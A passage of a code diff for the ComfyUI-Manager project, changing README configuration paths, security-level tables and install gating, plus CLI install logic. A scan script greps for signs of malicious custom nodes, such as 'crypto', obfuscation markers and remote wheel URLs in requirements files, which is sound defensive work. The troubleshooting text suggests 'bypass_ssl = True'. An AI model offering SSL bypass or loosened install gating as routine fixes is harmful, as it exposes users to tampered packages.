│ ├── TEST.md
|
||||
│ └── glob/
|
||||
│ ├── README.md
|
||||
│ ├── TESTING_GUIDE.md
|
||||
│ ├── TEST_INDEX.md
|
||||
│ └── TEST_LOG.md
|
||||
└── node_db/
|
||||
└── README.md
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**Total Documentation Files**: 36 files organized across 6 categories
|
||||
|
||||
**Translation Status**:
|
||||
- ✅ Core user documentation: English
|
||||
- ✅ CLI guide: English + Korean
|
||||
- ✅ Test documentation: English (translated from Korean)
|
||||
- 📝 Internal planning docs: Korean (preserved as-is for historical reference)
|
||||
@@ -89,20 +89,20 @@
|
||||
|
||||
|
||||
## Paths
|
||||
In `ComfyUI-Manager` V4.0.3b4 and later, configuration files and dynamically generated files are located under `<USER_DIRECTORY>/__manager/`.
|
||||
In `ComfyUI-Manager` V3.0 and later, configuration files and dynamically generated files are located under `<USER_DIRECTORY>/default/ComfyUI-Manager/`.
|
||||
|
||||
* <USER_DIRECTORY>
|
||||
* If executed without any options, the path defaults to ComfyUI/user.
|
||||
* It can be set using --user-directory <USER_DIRECTORY>.
|
||||
* <USER_DIRECTORY>
|
||||
* If executed without any options, the path defaults to ComfyUI/user.
|
||||
* It can be set using --user-directory <USER_DIRECTORY>.
|
||||
|
||||
* Basic config files: `<USER_DIRECTORY>/__manager/config.ini`
|
||||
* Configurable channel lists: `<USER_DIRECTORY>/__manager/channels.ini`
|
||||
* Configurable pip overrides: `<USER_DIRECTORY>/__manager/pip_overrides.json`
|
||||
* Configurable pip blacklist: `<USER_DIRECTORY>/__manager/pip_blacklist.list`
|
||||
* Configurable pip auto fix: `<USER_DIRECTORY>/__manager/pip_auto_fix.list`
|
||||
* Saved snapshot files: `<USER_DIRECTORY>/__manager/snapshots`
|
||||
* Startup script files: `<USER_DIRECTORY>/__manager/startup-scripts`
|
||||
* Component files: `<USER_DIRECTORY>/__manager/components`
|
||||
* Basic config files: `<USER_DIRECTORY>/default/ComfyUI-Manager/config.ini`
|
||||
* Configurable channel lists: `<USER_DIRECTORY>/default/ComfyUI-Manager/channels.ini`
|
||||
* Configurable pip overrides: `<USER_DIRECTORY>/default/ComfyUI-Manager/pip_overrides.json`
|
||||
* Configurable pip blacklist: `<USER_DIRECTORY>/default/ComfyUI-Manager/pip_blacklist.list`
|
||||
* Configurable pip auto fix: `<USER_DIRECTORY>/default/ComfyUI-Manager/pip_auto_fix.list`
|
||||
* Saved snapshot files: `<USER_DIRECTORY>/default/ComfyUI-Manager/snapshots`
|
||||
* Startup script files: `<USER_DIRECTORY>/default/ComfyUI-Manager/startup-scripts`
|
||||
* Component files: `<USER_DIRECTORY>/default/ComfyUI-Manager/components`
|
||||
|
||||
|
||||
## `extra_model_paths.yaml` Configuration
|
||||
@@ -115,17 +115,17 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
|
||||
## Snapshot-Manager
|
||||
* When you press `Save snapshot` or use `Update All` on `Manager Menu`, the current installation status snapshot is saved.
|
||||
* Snapshot file dir: `<USER_DIRECTORY>/__manager/snapshots`
|
||||
* Snapshot file dir: `<USER_DIRECTORY>/default/ComfyUI-Manager/snapshots`
|
||||
* You can rename snapshot file.
|
||||
* Press the "Restore" button to revert to the installation status of the respective snapshot.
|
||||
* However, for custom nodes not managed by Git, snapshot support is incomplete.
|
||||
* When you press `Restore`, it will take effect on the next ComfyUI startup.
|
||||
* The selected snapshot file is saved in `<USER_DIRECTORY>/__manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
|
||||
* The selected snapshot file is saved in `<USER_DIRECTORY>/default/ComfyUI-Manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
|
||||
|
||||

|
||||
|
||||
|
||||
## cm-cli: command line tools for power users
|
||||
## cm-cli: command line tools for power user
|
||||
* A tool is provided that allows you to use the features of ComfyUI-Manager without running ComfyUI.
|
||||
* For more details, please refer to the [cm-cli documentation](docs/en/cm-cli.md).
|
||||
|
||||
@@ -169,12 +169,12 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
}
|
||||
```
|
||||
* `<current timestamp>` Ensure that the timestamp is always unique.
|
||||
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/__manager/components`.
|
||||
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
|
||||
* `<component name>`: The name should be in the format `<prefix>::<node name>`.
|
||||
* `<component node data>`: In the node data of the group node.
|
||||
* `<compnent nodeata>`: In the nodedata of the group node.
|
||||
* `<version>`: Only two formats are allowed: `major.minor.patch` or `major.minor`. (e.g. `1.0`, `2.2.1`)
|
||||
* `<datetime>`: Saved time
|
||||
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/__manager/components`.
|
||||
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
|
||||
* `<category>`: If there is neither a category nor a packname, it is saved in the components category.
|
||||
```
|
||||
"version":"1.0",
|
||||
@@ -189,7 +189,7 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
* Dragging and dropping or pasting a single component will add a node. However, when adding multiple components, nodes will not be added.
|
||||
|
||||
|
||||
## Support for installing missing nodes
|
||||
## Support of missing nodes installation
|
||||
|
||||

|
||||
|
||||
@@ -214,9 +214,6 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
model_download_by_agent = <When downloading models, use an agent instead of torchvision_download_url.>
|
||||
downgrade_blacklist = <Set a list of packages to prevent downgrades. List them separated by commas.>
|
||||
security_level = <Set the security level => strong|normal|normal-|weak>
|
||||
allow_git_url_install = <Allow installing custom nodes from arbitrary git URLs. Independent of security_level. Default: False>
|
||||
allow_pip_install = <Allow installing arbitrary pip packages via the Manager. Independent of security_level. Default: False>
|
||||
allow_flagged_nodepack_install = <Allow flagged CNR versions on non-local listeners in trusted private networks. Default: False>
|
||||
always_lazy_install = <Whether to perform dependency installation on restart even in environments other than Windows.>
|
||||
network_mode = <Set the network mode => public|private|offline|personal_cloud>
|
||||
```
|
||||
@@ -232,10 +229,10 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
* Logging to file feature
|
||||
* This feature is enabled by default and can be disabled by setting `file_logging = False` in the `config.ini`.
|
||||
|
||||
* Fix node (recreate): When right-clicking on a node and selecting `Fix node (recreate)`, you can recreate the node. The widget's values are reset, while the connections maintain those with the same names.
|
||||
* Fix node(recreate): When right-clicking on a node and selecting `Fix node (recreate)`, you can recreate the node. The widget's values are reset, while the connections maintain those with the same names.
|
||||
* It is used to correct errors in nodes of old workflows created before, which are incompatible with the version changes of custom nodes.
|
||||
|
||||
* Double-Click Node Title: You can set the double-click behavior of nodes in the ComfyUI-Manager menu.
|
||||
* Double-Click Node Title: You can set the double click behavior of nodes in the ComfyUI-Manager menu.
|
||||
* `Copy All Connections`, `Copy Input Connections`: Double-clicking a node copies the connections of the nearest node.
|
||||
* This action targets the nearest node within a straight-line distance of 1000 pixels from the center of the node.
|
||||
* In the case of `Copy All Connections`, it duplicates existing outputs, but since it does not allow duplicate connections, the existing output connections of the original node are disconnected.
|
||||
@@ -301,17 +298,17 @@ When you run the `scan.sh` script:
|
||||
|
||||
* It updates the `github-stats.json`.
|
||||
* This uses the GitHub API, so set your token with `export GITHUB_TOKEN=your_token_here` to avoid quickly reaching the rate limit and malfunctioning.
|
||||
* To skip this step, add the `--skip-stat-update` option.
|
||||
* To skip this step, add the `--skip-update-stat` option.
|
||||
|
||||
* The `--skip-all` option applies both `--skip-update` and `--skip-stat-update`.
|
||||
|
||||
|
||||
## Troubleshooting
|
||||
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/__manager/config.ini` file that is generated.
|
||||
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/default/ComfyUI-Manager/config.ini` file that is generated.
|
||||
* If updating ComfyUI-Manager itself fails, please go to the **ComfyUI-Manager** directory and execute the command `git update-ref refs/remotes/origin/main a361cc1 && git fetch --all && git pull`.
|
||||
* If you encounter the error message `Overlapped Object has pending operation at deallocation on ComfyUI Manager load` under Windows
|
||||
* If you encounter the error message `Overlapped Object has pending operation at deallocation on Comfyui Manager load` under Windows
|
||||
* Edit `config.ini` file: add `windows_selector_event_loop_policy = True`
|
||||
* If the `SSL: CERTIFICATE_VERIFY_FAILED` error occurs.
|
||||
* if `SSL: CERTIFICATE_VERIFY_FAILED` error is occured.
|
||||
* Edit `config.ini` file: add `bypass_ssl = True`
|
||||
|
||||
|
||||
@@ -327,14 +324,12 @@ The security settings are applied based on whether the ComfyUI server's listener
|
||||
|
||||
| Risky Level | features |
|
||||
|-------------|---------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| high+ | * **Switch ComfyUI version**<BR>* **Fix nodepack** |
|
||||
| high | _(no features at this tier — `Fix nodepack` promoted to `high+` to align the enforcement gate with the `SECURITY_MESSAGE_HIGH_P` log text)_ |
|
||||
| middle+ | * Uninstall/Update<BR>* Installation of Git/nightly nodepacks registered in the `default channel`.<BR>* Restore/Remove Snapshot<BR>* Install model |
|
||||
| middle | * Restart<BR>* Installation of CNR release versions (subject to the flagged-version policy below) |
|
||||
| high+ | * `Install via git url`, `pip install`<BR>* Installation of nodepack registered not in the `default channel`. |
|
||||
| high | * Fix nodepack |
|
||||
| middle+ | * Uninstall/Update<BR>* Installation of nodepack registered in the `default channel`.<BR>* Restore/Remove Snapshot<BR>* Install model |
|
||||
| middle | * Restart |
|
||||
| low | * Update ComfyUI |
|
||||
|
||||
* **Note**: `Install via git url` and `pip install` are no longer gated by `security_level` — they moved to the dedicated flags `allow_git_url_install` / `allow_pip_install`. Installation of a nodepack registered not in the `default channel` likewise requires `allow_git_url_install` (in addition to the `middle+` level preconditions) instead of a `high+` security level. See the [Dedicated install flags](#dedicated-install-flags-allow_git_url_install--allow_pip_install) subsection below.
|
||||
|
||||
|
||||
### Security Level Table
|
||||
|
||||
@@ -346,69 +341,6 @@ The security settings are applied based on whether the ComfyUI server's listener
|
||||
| weak | * All features are available | * All features are available | * `high+` and `middle+` level risky features are not allowed<BR>* `high`, `middle` and `low` level risky features are available
|
||||
|
||||
|
||||
### Dedicated install flags (`allow_git_url_install` / `allow_pip_install`)
|
||||
|
||||
The `Install via git url` and `pip install` features are governed by two dedicated `config.ini` flags instead of `security_level`:
|
||||
|
||||
* `allow_git_url_install`: Allows installing custom nodes from arbitrary git URLs.
|
||||
* `allow_pip_install`: Allows installing arbitrary pip packages via the Manager.
|
||||
|
||||
* Both flags default to `False` — secure by default. A missing or invalid value (anything other than `true`, case-insensitive) is read as `False`.
|
||||
* These flags fully **replace** `security_level` for these two features. `security_level` no longer affects them in either direction: a strict security level cannot deny them when the flag is `true`, and a weak security level cannot allow them when the flag is `false`.
|
||||
* The network-position rule still applies independently: even with a flag enabled, the feature is denied when the server listener is **non-local**, unless `network_mode = personal_cloud`.
|
||||
* Batch installs of git URLs not registered in the `default channel` are also gated by `allow_git_url_install`, and additionally require the normal batch-install preconditions (the `middle+` rules in the tables above). Unknown pip packages in batch installs remain blocked unconditionally — the flags do not open them.
|
||||
* Changes to these flags require a restart of ComfyUI to take effect.
|
||||
* Migration note: if you previously relied on `security_level = weak` or `normal-` to use these features, you must now opt in explicitly by setting the flags in the `[default]` section of `config.ini`. The flags are not auto-seeded from your `security_level`.
|
||||
|
||||
### Flagged CNR nodepacks
|
||||
|
||||
Before downloading a CNR release, Manager checks the selected version's `status`
|
||||
in the existing `/nodes/{id}/install` response. No additional Registry request is
|
||||
needed. The check applies to both the default and legacy Manager implementations,
|
||||
including CNR version changes, updates, and snapshot restores. Legacy batch
|
||||
reinstallation checks the target before removing the existing nodepack, and a
|
||||
policy refusal preserves the current installation. For flagged-policy denials,
|
||||
the UI reports that the current security configuration does not allow the action
|
||||
and directs users to the terminal. Only the terminal provides loopback-only
|
||||
`--listen` examples, the private network override setting, and restart instructions.
|
||||
|
||||
* Active versions continue through the normal install flow. CNR release installs
|
||||
use the `middle` security level, so they are available on non-local listeners
|
||||
with `security_level = normal`, `normal-`, or `weak`. `strong` still denies
|
||||
these install requests.
|
||||
* Flagged versions (`NodeVersionStatusFlagged`) must satisfy the same installation
|
||||
conditions as Active versions. In addition, **all** addresses in `--listen`
|
||||
must resolve to loopback, such as `127.0.0.1` and `::1`, unless the explicit
|
||||
override below is enabled.
|
||||
* To allow flagged versions on a non-local listener in a **trusted private
|
||||
network**, an administrator can explicitly opt in:
|
||||
|
||||
```ini
|
||||
[default]
|
||||
allow_flagged_nodepack_install = true
|
||||
```
|
||||
|
||||
* The option defaults to `false`. Only `true` (case-insensitive) enables it;
|
||||
missing or invalid values are treated as `false`. Restart ComfyUI after editing it.
|
||||
* With this option enabled, the flagged-version check allows installation
|
||||
regardless of the listen address. Manager does not automatically detect a
|
||||
private network. This option does not require `network_mode = private`, and
|
||||
`network_mode = personal_cloud` alone does not allow flagged versions.
|
||||
* CNR API refusals, including banned or unavailable packages, still prevent
|
||||
installation. This option does not override `security_level = strong` or
|
||||
the separate Git/nightly and pip installation policies.
|
||||
* Enabling an already installed version does not query the Registry or reinstall it.
|
||||
* Older deferred switches without a stored status require loopback-only listeners
|
||||
or the override. Otherwise they are rejected without changing the installed pack;
|
||||
request the installation again so Manager can check its current Registry status.
|
||||
* Newly scheduled deferred version switches retain the returned version status
|
||||
and check it against the current listen address and option again at restart.
|
||||
This uses the saved status; it does not query CNR again for later status changes.
|
||||
Server-scheduled snapshot restores inherit the permission computed from the
|
||||
server's current listener and setting.
|
||||
* Standalone `cm-cli` commands remain local administrator operations and do not
|
||||
use the server listener policy.
|
||||
|
||||
|
||||
# Disclaimer
|
||||
|
||||
|
||||
@@ -37,7 +37,7 @@ find ~/.tmp/default -name "*.py" -print0 | xargs -0 grep -E "crypto|^_A="
|
||||
|
||||
echo
|
||||
echo CHECK3
|
||||
find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*[^#]*https\?:"
|
||||
find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*[^#].*\.whl"
|
||||
find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*https\\?:"
|
||||
find ~/.tmp/default -name "requirements.txt" | xargs grep "\.whl"
|
||||
|
||||
echo
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
def main():
|
||||
from .__main__ import main as _main
|
||||
_main()
|
||||
@@ -6,26 +6,6 @@ from .common import manager_security
|
||||
from comfy.cli_args import args
|
||||
|
||||
|
||||
# Register server-push feature flag so ComfyUI_frontend (and other clients)
|
||||
# can detect CSRF-POST backend capability as a semantic contract (vs version
|
||||
# string parsing). See PR #2818 for context; clients use this flag to decide
|
||||
# whether to invoke POST state-mutation endpoints. Manager versions prior to
|
||||
# 4.2.1 do not set this flag — clients should treat its absence as
|
||||
# 'incompatible with POST-only state-mutation endpoints'.
|
||||
try:
|
||||
from comfy_api import feature_flags as _core_feature_flags
|
||||
_mgr_flags = (
|
||||
_core_feature_flags.SERVER_FEATURE_FLAGS
|
||||
.setdefault('extension', {})
|
||||
.setdefault('manager', {})
|
||||
)
|
||||
_mgr_flags['supports_csrf_post'] = True
|
||||
except ImportError:
|
||||
# Older ComfyUI core without comfy_api.feature_flags module.
|
||||
# Manager functions but clients will not observe the flag.
|
||||
pass
|
||||
|
||||
|
||||
def prestartup():
|
||||
from . import prestartup_script # noqa: F401
|
||||
logging.info('[PRE] ComfyUI-Manager')
|
||||
@@ -46,15 +26,7 @@ def start():
|
||||
logging.info("[ComfyUI-Manager] Legacy UI is enabled.")
|
||||
nodes.EXTENSION_WEB_DIRS['comfyui-manager-legacy'] = os.path.join(os.path.dirname(__file__), 'js')
|
||||
except Exception as e:
|
||||
# WI-V: upgraded silent `print` to a proper logging.error with
|
||||
# traceback so future legacy-UI load failures are visible in
|
||||
# the log, not swallowed. The original `print` could be lost
|
||||
# depending on how stdout is captured.
|
||||
import traceback
|
||||
logging.error(
|
||||
"[ComfyUI-Manager] Error enabling legacy frontend: "
|
||||
f"{type(e).__name__}: {e}\n{traceback.format_exc()}"
|
||||
)
|
||||
print("Error enabling legacy ComfyUI Manager frontend:", e)
|
||||
core = None
|
||||
else:
|
||||
from .glob import manager_server # noqa: F401
|
||||
@@ -83,10 +55,9 @@ def should_be_disabled(fullpath:str) -> bool:
|
||||
def get_client_ip(request):
|
||||
peername = request.transport.get_extra_info("peername")
|
||||
if peername is not None:
|
||||
# Grab the first two values - there can be more, ie. with --listen
|
||||
host, port = peername[:2]
|
||||
host, port = peername
|
||||
return host
|
||||
|
||||
|
||||
return "unknown"
|
||||
|
||||
|
||||
|
||||
@@ -11,9 +11,12 @@ import typer
|
||||
from rich import print
|
||||
from typing_extensions import List, Annotated
|
||||
import re
|
||||
import git
|
||||
import importlib
|
||||
|
||||
|
||||
from ..common import manager_util
|
||||
|
||||
# read env vars
|
||||
# COMFYUI_FOLDERS_BASE_PATH is not required in cm-cli.py
|
||||
# `comfy_path` should be resolved before importing manager_core
|
||||
@@ -32,12 +35,11 @@ if not os.path.exists(os.path.join(comfy_path, 'folder_paths.py')):
|
||||
|
||||
|
||||
import utils.extra_config
|
||||
from comfyui_manager.common import manager_util
|
||||
from comfyui_manager.common import cm_global
|
||||
from comfyui_manager.legacy import manager_core as core
|
||||
from comfyui_manager.common import context
|
||||
from comfyui_manager.legacy.manager_core import unified_manager
|
||||
from comfyui_manager.common import cnr_utils
|
||||
from ..common import cm_global
|
||||
from ..glob import manager_core as core
|
||||
from ..common import context
|
||||
from ..glob.manager_core import unified_manager
|
||||
from ..common import cnr_utils
|
||||
|
||||
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
|
||||
|
||||
@@ -61,10 +63,9 @@ if os.path.exists(os.path.join(manager_util.comfyui_manager_path, "pip_blacklist
|
||||
|
||||
def check_comfyui_hash():
|
||||
try:
|
||||
from comfyui_manager.common.git_compat import open_repo
|
||||
with open_repo(comfy_path) as repo:
|
||||
core.comfy_ui_revision = repo.iter_commits_count()
|
||||
core.comfy_ui_commit_datetime = repo.head_commit_datetime
|
||||
repo = git.Repo(comfy_path)
|
||||
core.comfy_ui_revision = len(list(repo.iter_commits('HEAD')))
|
||||
core.comfy_ui_commit_datetime = repo.head.commit.committed_datetime
|
||||
except Exception:
|
||||
print('[bold yellow]INFO: Frozen ComfyUI mode.[/bold yellow]')
|
||||
core.comfy_ui_revision = 0
|
||||
@@ -128,8 +129,7 @@ class Ctx:
|
||||
if channel is not None:
|
||||
self.channel = channel
|
||||
|
||||
asyncio.run(unified_manager.reload(cache_mode=self.mode, dont_wait=False))
|
||||
asyncio.run(unified_manager.load_nightly(self.channel, self.mode))
|
||||
unified_manager.reload()
|
||||
|
||||
def set_no_deps(self, no_deps):
|
||||
self.no_deps = no_deps
|
||||
@@ -183,22 +183,23 @@ class Ctx:
|
||||
cmd_ctx = Ctx()
|
||||
|
||||
|
||||
class NodeInstallError(Exception):
|
||||
"""Raised when a node installation fails and the caller requested failure propagation."""
|
||||
pass
|
||||
|
||||
|
||||
def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
|
||||
raise_on_fail = kwargs.get('raise_on_fail', False)
|
||||
|
||||
if core.is_valid_url(node_spec_str):
|
||||
# install via urls
|
||||
res = asyncio.run(core.gitclone_install(node_spec_str, no_deps=cmd_ctx.no_deps))
|
||||
exit_on_fail = kwargs.get('exit_on_fail', False)
|
||||
print(f"install_node exit on fail:{exit_on_fail}...")
|
||||
|
||||
if unified_manager.is_url_like(node_spec_str):
|
||||
# install via git URLs
|
||||
repo_name = os.path.basename(node_spec_str)
|
||||
if repo_name.endswith('.git'):
|
||||
repo_name = repo_name[:-4]
|
||||
res = asyncio.run(unified_manager.repo_install(
|
||||
node_spec_str, repo_name, instant_execution=True, no_deps=cmd_ctx.no_deps
|
||||
))
|
||||
if not res.result:
|
||||
print(res.msg)
|
||||
print(f"[bold red]ERROR: An error occurred while installing '{node_spec_str}'.[/bold red]")
|
||||
if raise_on_fail:
|
||||
raise NodeInstallError(node_spec_str)
|
||||
if exit_on_fail:
|
||||
sys.exit(1)
|
||||
else:
|
||||
print(f"{cnt_msg} [INSTALLED] {node_spec_str:50}")
|
||||
else:
|
||||
@@ -227,40 +228,23 @@ def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
|
||||
print(f"{cnt_msg} [INSTALLED] {node_name:50}[{res.target}]")
|
||||
elif res.action == 'switch-cnr' and res.result:
|
||||
print(f"{cnt_msg} [INSTALLED] {node_name:50}[{res.target}]")
|
||||
elif (res.action == 'switch-cnr' or res.action == 'install-cnr') and not res.result and node_name in unified_manager.cnr_map:
|
||||
elif (res.action == 'switch-cnr' or res.action == 'install-cnr') and not res.result and cnr_utils.get_nodepack(node_name):
|
||||
print(f"\nAvailable version of '{node_name}'")
|
||||
show_versions(node_name)
|
||||
print("")
|
||||
else:
|
||||
print(f"[bold red]ERROR: An error occurred while installing '{node_name}'.\n{res.msg}[/bold red]")
|
||||
if raise_on_fail:
|
||||
raise NodeInstallError(node_name)
|
||||
if exit_on_fail:
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def reinstall_node(node_spec_str, is_all=False, cnt_msg=''):
|
||||
if core.is_valid_url(node_spec_str):
|
||||
# URL-based: resolve_node_spec returns the full URL as node_name,
|
||||
# but internal dicts are keyed by repo basename or cnr_id.
|
||||
url = node_spec_str.rstrip('/')
|
||||
cnr = unified_manager.get_cnr_by_repo(url)
|
||||
if cnr:
|
||||
node_id = cnr['id']
|
||||
unified_manager.unified_uninstall(node_id, False)
|
||||
unified_manager.purge_node_state(node_id)
|
||||
else:
|
||||
repo_name = os.path.splitext(os.path.basename(url))[0]
|
||||
unified_manager.unified_uninstall(repo_name, True)
|
||||
unified_manager.purge_node_state(repo_name)
|
||||
node_spec = unified_manager.resolve_node_spec(node_spec_str)
|
||||
|
||||
install_node(node_spec_str, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
|
||||
else:
|
||||
node_spec = unified_manager.resolve_node_spec(node_spec_str)
|
||||
node_name, version_spec, _ = node_spec
|
||||
node_name, version_spec, _ = node_spec
|
||||
|
||||
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
|
||||
unified_manager.purge_node_state(node_name)
|
||||
|
||||
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
|
||||
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
|
||||
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg)
|
||||
|
||||
|
||||
def fix_node(node_spec_str, is_all=False, cnt_msg=''):
|
||||
@@ -335,10 +319,10 @@ def update_parallel(nodes):
|
||||
if 'all' in nodes:
|
||||
is_all = True
|
||||
nodes = []
|
||||
for x in unified_manager.active_nodes.keys():
|
||||
nodes.append(x)
|
||||
for x in unified_manager.unknown_active_nodes.keys():
|
||||
nodes.append(x+"@unknown")
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
if pack.is_enabled:
|
||||
nodes.append(pack.id)
|
||||
else:
|
||||
nodes = [x for x in nodes if x.lower() not in ['comfy', 'comfyui']]
|
||||
|
||||
@@ -436,121 +420,60 @@ def disable_node(node_spec_str: str, is_all=False, cnt_msg=''):
|
||||
|
||||
|
||||
def show_list(kind, simple=False):
|
||||
custom_nodes = asyncio.run(unified_manager.get_custom_nodes(channel=cmd_ctx.channel, mode=cmd_ctx.mode))
|
||||
"""
|
||||
Show installed nodepacks only with on-demand metadata retrieval
|
||||
Supported kinds: 'installed', 'enabled', 'disabled'
|
||||
"""
|
||||
# Validate supported commands
|
||||
if kind not in ['installed', 'enabled', 'disabled']:
|
||||
print(f"[bold red]Unsupported: 'show {kind}'. Available options: installed/enabled/disabled[/bold red]")
|
||||
print("Note: 'show all', 'show not-installed', and 'show cnr' are no longer supported.")
|
||||
print("Use 'show installed' to see all installed packages.")
|
||||
return
|
||||
|
||||
# collect not-installed unknown nodes
|
||||
not_installed_unknown_nodes = []
|
||||
repo_unknown = {}
|
||||
# Get all installed packages from glob unified_manager
|
||||
all_packages = []
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
all_packages.extend(packages)
|
||||
|
||||
# Filter by status
|
||||
if kind == 'enabled':
|
||||
packages = [pkg for pkg in all_packages if pkg.is_enabled]
|
||||
elif kind == 'disabled':
|
||||
packages = [pkg for pkg in all_packages if pkg.is_disabled]
|
||||
else: # 'installed'
|
||||
packages = all_packages
|
||||
|
||||
for k, v in custom_nodes.items():
|
||||
if 'cnr_latest' not in v:
|
||||
if len(v['files']) == 1:
|
||||
repo_url = v['files'][0]
|
||||
node_name = repo_url.split('/')[-1]
|
||||
if node_name not in unified_manager.unknown_inactive_nodes and node_name not in unified_manager.unknown_active_nodes:
|
||||
not_installed_unknown_nodes.append(v)
|
||||
else:
|
||||
repo_unknown[node_name] = v
|
||||
|
||||
processed = {}
|
||||
unknown_processed = []
|
||||
|
||||
flag = kind in ['all', 'cnr', 'installed', 'enabled']
|
||||
for k, v in unified_manager.active_nodes.items():
|
||||
if flag:
|
||||
cnr = unified_manager.cnr_map.get(k)
|
||||
if cnr:
|
||||
processed[k] = "[ ENABLED ] ", cnr['name'], k, cnr['publisher']['name'], v[0]
|
||||
else:
|
||||
processed[k] = None
|
||||
else:
|
||||
processed[k] = None
|
||||
|
||||
if flag and kind != 'cnr':
|
||||
for k, v in unified_manager.unknown_active_nodes.items():
|
||||
item = repo_unknown.get(k)
|
||||
|
||||
if item is None:
|
||||
continue
|
||||
|
||||
log_item = "[ ENABLED ] ", item['title'], k, item['author']
|
||||
unknown_processed.append(log_item)
|
||||
|
||||
flag = kind in ['all', 'cnr', 'installed', 'disabled']
|
||||
for k, v in unified_manager.cnr_inactive_nodes.items():
|
||||
if k in processed:
|
||||
continue
|
||||
|
||||
if flag:
|
||||
cnr = unified_manager.cnr_map.get(k) # NOTE: can this be None if removed from CNR after installed
|
||||
if cnr:
|
||||
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], ", ".join(list(v.keys()))
|
||||
else:
|
||||
processed[k] = None
|
||||
else:
|
||||
processed[k] = None
|
||||
|
||||
for k, v in unified_manager.nightly_inactive_nodes.items():
|
||||
if k in processed:
|
||||
continue
|
||||
|
||||
if flag:
|
||||
cnr = unified_manager.cnr_map.get(k)
|
||||
if cnr:
|
||||
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], 'nightly'
|
||||
else:
|
||||
processed[k] = None
|
||||
else:
|
||||
processed[k] = None
|
||||
|
||||
if flag and kind != 'cnr':
|
||||
for k, v in unified_manager.unknown_inactive_nodes.items():
|
||||
item = repo_unknown.get(k)
|
||||
|
||||
if item is None:
|
||||
continue
|
||||
|
||||
log_item = "[ DISABLED ] ", item['title'], k, item['author']
|
||||
unknown_processed.append(log_item)
|
||||
|
||||
flag = kind in ['all', 'cnr', 'not-installed']
|
||||
for k, v in unified_manager.cnr_map.items():
|
||||
if k in processed:
|
||||
continue
|
||||
|
||||
if flag:
|
||||
cnr = unified_manager.cnr_map.get(k)
|
||||
if cnr:
|
||||
ver_spec = v['latest_version']['version'] if 'latest_version' in v else '0.0.0'
|
||||
processed[k] = "[ NOT INSTALLED ] ", cnr['name'], k, cnr['publisher']['name'], ver_spec
|
||||
else:
|
||||
processed[k] = None
|
||||
else:
|
||||
processed[k] = None
|
||||
|
||||
if flag and kind != 'cnr':
|
||||
for x in not_installed_unknown_nodes:
|
||||
if len(x['files']) == 1:
|
||||
node_id = os.path.basename(x['files'][0])
|
||||
log_item = "[ NOT INSTALLED ] ", x['title'], node_id, x['author']
|
||||
unknown_processed.append(log_item)
|
||||
|
||||
for x in processed.values():
|
||||
if x is None:
|
||||
continue
|
||||
|
||||
prefix, title, short_id, author, ver_spec = x
|
||||
# Display packages
|
||||
for package in sorted(packages, key=lambda x: x.id):
|
||||
# Basic info from InstalledNodePackage
|
||||
status = "[ ENABLED ]" if package.is_enabled else "[ DISABLED ]"
|
||||
|
||||
# Enhanced info with on-demand CNR retrieval
|
||||
display_name = package.id
|
||||
author = "Unknown"
|
||||
version = package.version
|
||||
|
||||
# Try to get additional info from CNR for better display
|
||||
if package.is_from_cnr:
|
||||
try:
|
||||
cnr_info = cnr_utils.get_nodepack(package.id)
|
||||
if cnr_info:
|
||||
display_name = cnr_info.get('name', package.id)
|
||||
if 'publisher' in cnr_info and 'name' in cnr_info['publisher']:
|
||||
author = cnr_info['publisher']['name']
|
||||
except Exception:
|
||||
# Fallback to basic info if CNR lookup fails
|
||||
pass
|
||||
elif package.is_nightly:
|
||||
version = "nightly"
|
||||
elif package.is_unknown:
|
||||
version = "unknown"
|
||||
|
||||
if simple:
|
||||
print(title+'@'+ver_spec)
|
||||
print(f"{display_name}@{version}")
|
||||
else:
|
||||
print(f"{prefix} {title:50} {short_id:30} (author: {author:20}) \\[{ver_spec}]")
|
||||
|
||||
for x in unknown_processed:
|
||||
prefix, title, short_id, author = x
|
||||
if simple:
|
||||
print(title+'@unknown')
|
||||
else:
|
||||
print(f"{prefix} {title:50} {short_id:30} (author: {author:20}) [UNKNOWN]")
|
||||
print(f"{status} {display_name:50} {package.id:30} (author: {author:20}) [{version}]")
|
||||
|
||||
|
||||
async def show_snapshot(simple_mode=False):
|
||||
@@ -591,37 +514,14 @@ async def auto_save_snapshot():
|
||||
|
||||
|
||||
def get_all_installed_node_specs():
|
||||
"""
|
||||
